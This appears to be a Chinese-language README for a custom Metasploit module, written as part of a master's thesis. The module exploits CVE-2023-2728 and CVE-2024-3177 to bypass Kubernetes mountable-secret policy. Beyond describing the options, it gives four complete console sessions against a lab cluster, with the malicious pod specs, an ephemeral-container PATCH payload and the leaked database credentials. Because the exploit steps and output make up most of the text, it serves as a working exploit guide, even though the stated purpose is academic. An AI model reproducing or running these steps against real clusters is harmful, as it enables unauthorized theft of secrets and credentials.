用 Ruby 编写的模块，旨在利用 CVE-2023-2728 和 CVE-2024-3177 漏洞，这两个漏洞均与 Kubernetes 集群中的 Secret 挂载策略相关，并通过自定义 Metasploit 模块实现。属于网络安全硕士毕业设计项目的一部分。
此自定义模块利用了Kubernetes中易受CVE-2023-2728和CVE-2024-3177影响的版本（例如v1.27.2同时受这两个漏洞影响）中的漏洞，两者均涉及绕过Kubernetes中ServiceAccount准入插件所施加的可挂载机密策略，但使用了不同类型的容器和策略。
主要目标是获取所需的机密，并以对用户友好的方式在环境变量中呈现。
use auxiliary/cloud/kubernetes/double_secrets_cverunSECRET_NAME选项中指定的机密以红色高亮显示。定义在目标集群中创建的Pod中使用的容器类型，以利用漏洞。可以是normal（等同于常规容器）、init或ephemeral。
允许选择要利用的漏洞。可用选项为2024-3177和2023-2728。如果指定了其他漏洞，模块将无法识别并报错，这是正常结果。
指定用于创建Pod的容器镜像，例如busybox（默认选项），因为它轻量且通用，将多个Linux实用程序打包在一个小型可执行文件中，并结合了最常见Unix工具如ls、cp、mv、cat或sh，非常适合资源受限的系统或快速测试，正如这里的情况，不需要特定镜像，只需Pod能正确创建即可。
指示Kubernetes中创建Pod的命名空间，必须与要泄露的机密所在的命名空间相同。
定义要创建的Pod的名称。
要使用的代理字符串，格式为type:host:port[,type:host:port][...]。这是Metasploit的标准选项，在此模块中未使用。
指定目标的IP地址或IP地址范围，此处为要利用漏洞的Kubernetes集群。此选项是Metasploit的默认选项之一。
定义模块将连接的目标TCP端口。这是Metasploit的标准选项。
指定要泄露的Kubernetes机密名称，为此必须拥有必要的权限。
允许定义是否重用现有会话。在此模块中，此选项不相关且为可选。这是默认选项。
确定是否为传出连接协商SSL/TLS连接。这是Metasploit的标准选项，不强制启用，取决于用户连接目标集群的方式。
指定目标Kubernetes API的基本路径，例如/api/v1。此选项为自定义选项，用于简化模块中的某些连接调度。
定义用于与Kubernetes API交互的身份验证令牌，重要的是该令牌拥有必要的权限，否则模块将因权限不足而无法创建或枚举集群中的某些资源。
允许指定HTTP虚拟主机。这是Metasploit的标准选项，在此模块中未使用。
注意：在markdown中，机密前后标记为** SECRET **，但在代码中并非如此，为了用户更好地可视性，它们已被高亮为红色，这在README文件中由于GitHub平台Markdown语言的限制而无法实现。
显式设置RHOST和TOKEN以枚举SECRET_NAME选项中指定的机密：
msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE normal
CONTAINER_TYPE => normal
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-1
POD_NAME => cve-pod-1
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2
[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-1","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"envFrom":[{"secretRef":{"name":"dvwa-secrets"}}]}],"restartPolicy":"Never"}}
[*] Pod not found, creating a new one.
[+] Pod created successfully: cve-pod-1
[*] Waiting for pod cve-pod-1 to be ready...
[*] Pod cve-pod-1 status: Pending
[+] Pod cve-pod-1 is running.
[*] Established Kubernetes client.
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-1
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[+] Successfully retrieved environment variables from pod cve-pod-1
[*] Auxiliary module execution completed
显式设置RHOST和TOKEN以枚举SECRET_NAME选项中指定的机密：
msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE init
CONTAINER_TYPE => init
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-2
POD_NAME => cve-pod-2
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2
[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-2","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"init-main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"]}],"restartPolicy":"Never","initContainers":[{"name":"exploit-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"envFrom":[{"secretRef":{"name":"dvwa-secrets"}}]}]}}
[*] Pod not found, creating a new one.
[+] Pod created successfully: cve-pod-2
[*] Waiting for the init container to start...
[*] Checking pod and container status...
[+] Init container is running.
[*] Retrieving environment variables from init container using Kubernetes API...
[*] WebSocket connection opened
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-2
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT_3306_TCP=tcp://10.99.148.252:3306
** SECRET ** ROOT_PASSWORD=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[*] WebSocket connection closed: 1000,
[*] Auxiliary module execution completed
显式设置RHOST和TOKEN以枚举SECRET_NAME选项中指定的机密：
msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE ephemeral
CONTAINER_TYPE => ephemeral
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-3
POD_NAME => cve-pod-3
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2
[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-3","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"ephemeral-main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"]}],"restartPolicy":"Never"}}
[*] Pod not found, creating a new one.
[+] Pod created successfully: cve-pod-3
[*] Waiting for pod cve-pod-3 to be ready...
[*] Pod cve-pod-3 status: Pending
[+] Pod cve-pod-3 is running.
[*] Adding ephemeral container with the following spec: {"name":"ephemeral-container","image":"busybox","envFrom":[{"secretRef":{"name":"dvwa-secrets"}}],"command":["/bin/sh"],"args":["-c","sleep 3600"]}
[*] Ephemeral container addition response code: 200
[*] Ephemeral container addition response message: OK
[+] Successfully added ephemeral container to pod cve-pod-3
[*] Waiting for ephemeral container to be ready...
[*] Ephemeral container status: {:waiting=>{:reason=>"ContainerCreating"}}
[*] Reason: ContainerCreating
[+] Ephemeral container is running.
[*] Waiting for ephemeral container to be ready...
[+] Ephemeral container is running.
[*] Retrieving environment variables from ephemeral container using Kubernetes API...
[*] WebSocket connection opened
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT=443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-3
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT_3306_TCP=tcp://10.99.148.252:3306
** SECRET ** ROOT_PASSWORD=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[*] WebSocket connection closed: 1000,
[*] Auxiliary module execution completed
显式设置CVE、RHOST和TOKEN以枚举SECRET_NAME选项中指定的机密：
msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CVE 2023-2728
CVE => 2023-2728
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE ephemeral
CONTAINER_TYPE => ephemeral
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-4
POD_NAME => cve-pod-4
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2
[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with standard configuration in namespace: dvwa-tfm-mysql with service account: sa-web
[*] Pod not found. Proceeding with pod creation.
[+] Successfully created pod cve-pod-4 in namespace dvwa-tfm-mysql
[*] Waiting for pod cve-pod-4 to be ready...
[*] Pod cve-pod-4 status: Pending
[+] Pod cve-pod-4 is running.
[*] Attempting to add ephemeral container to access secrets...
[*] Performing PATCH request with the following data: {"spec":{"ephemeralContainers":[{"name":"ephemeral-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"env":[{"name":"DVWA_DATABASE","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"DVWA_DATABASE"}}},{"name":"DVWA_PASSWORD","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"DVWA_PASSWORD"}}},{"name":"DVWA_USERNAME","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"DVWA_USERNAME"}}},{"name":"ROOT_PASSWORD","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"ROOT_PASSWORD"}}}]}]}}
[+] Response received
[+] Ephemeral container successfully added to pod cve-pod-4
[*] Waiting for ephemeral container to be ready...
[*] Ephemeral container status: {:waiting=>{:reason=>"ContainerCreating"}}
[*] Reason: ContainerCreating
[+] Ephemeral container is running.
[*] Attempting to access environment variables from the ephemeral container...
[*] WebSocket connection opened
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT=443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-4
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
DVWA_MYSQL_SERVICE_PORT_3306_TCP=tcp://10.99.148.252:3306
** SECRET ** ROOT_PASSWORD=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[*] WebSocket connection closed: 1000,
[*] Auxiliary module execution completed